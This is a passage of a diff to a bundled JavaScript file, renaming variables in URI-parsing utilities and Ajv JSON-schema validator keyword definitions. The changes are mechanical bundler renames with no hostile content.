= compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -28455,23 +28455,23 @@ var require_utils = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -28487,79 +28487,79 @@ var require_utils = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === "." || input[1] === "/") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === "." || input2[1] === "/") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -28569,80 +28569,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === 